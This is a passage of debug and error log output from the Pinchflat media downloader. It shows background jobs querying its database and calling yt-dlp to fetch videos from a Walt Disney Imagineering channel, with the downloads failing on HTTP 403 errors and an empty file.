:download_failed}","args":{"id":12001},"id":1735,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":65779260,"event":"job:exception","queue_time":862116,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:10:42.655 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1774998642655251230,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:10:42.655 [debug] QUERY OK source="media_items" db=0.1ms idle=134.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 19:10:42.655 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:10:42.656 [debug] QUERY OK source="sources" db=0.1ms idle=135.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:10:42.656 [debug] QUERY OK source="media_profiles" db=0.1ms idle=135.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:10:42.656 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 19:10:42.657 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 19:10:42.657 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:10:42.658 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:42.658 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:42.658 [debug] Running yt-dlp command for action: get_downloadable_status 19:10:42.658 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:42.659 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:42.659 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:42.659 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/03/73/037355eb323a11f9d60ec347ad190618dca709e864e2ce5ddbc3d54a51095e3e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:10:47.748 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/03/73/037355eb323a11f9d60ec347ad190618dca709e864e2ce5ddbc3d54a51095e3e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:10:47.748 [debug] Running yt-dlp command for action: download 19:10:47.749 [debug] QUERY OK source="settings" db=0.2ms idle=1228.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:47.749 [debug] QUERY OK source="settings" db=0.1ms idle=1228.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:47.749 [debug] QUERY OK source="settings" db=0.1ms idle=1228.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:10:47.749 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8a/b3/8ab3445c892ffe91c64b5c4b7bf2047ab301600c05890ce03efc62a2c5b13317.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:10:49.996 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:57.365 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/8a/b3/8ab3445c892ffe91c64b5c4b7bf2047ab301600c05890ce03efc62a2c5b13317.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:10:57.365 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:10:57.366 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":14710290,"event":"job:exception","queue_time":432972,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:11:00.978 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:11:19.998 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:37.722 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1774998697722367849,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:11:37.722 [debug] QUERY OK source="media_items" db=0.1ms idle=1008.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:11:37.722 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:11:37.723 [debug] QUERY OK source="sources" db=0.1ms idle=202.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:11:37.723 [debug] QUERY OK source="media_profiles" db=0.1ms idle=202.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:11:37.724 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:11:37.724 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:11:37.724 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:11:37.725 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:37.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:37.725 [debug] Running yt-dlp command for action: get_downloadable_status 19:11:37.725 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:37.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:37.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:37.726 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/46/4a/464a854d69d7b9818bfe1fecb3dd51e6ec58b98e091e71954cd1ae8bd095a2e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:11:43.068 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/46/4a/464a854d69d7b9818bfe1fecb3dd51e6ec58b98e091e71954cd1ae8bd095a2e7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:11:43.069 [debug] Running yt-dlp command for action: download 19:11:43.069 [debug] QUERY OK source="settings" db=0.1ms idle=1548.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:43.069 [debug] QUERY OK source="settings" db=0.0ms idle=1548.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:43.069 [debug] QUERY OK source="settings" db=0.1ms idle=1549.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:11:43.070 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/f5/a4f5f80cf69e2c7c22b701316554bb325b56fefc3807914d61ab6c12bfefbf82.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:11:49.999 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.979 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:12:20.001 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:27.688 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/f5/a4f5f80cf69e2c7c22b701316554bb325b56fefc3807914d61ab6c12bfefbf82.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 19:12:27.688 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 19:12:27.689 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":49966620,"event":"job:exception","queue_time":632922,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:12:50.002 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.980 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:13:05.822 [info] {"args":{"id":12001},"id":1735,"meta":{},"system_time":1774998785822210418,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:13:05.822 [debug] QUERY OK source="media_items" db=0.1ms idle=301.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 19:13:05.822 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:13:05.823 [debug] QUERY OK source="sources" db=0.1ms 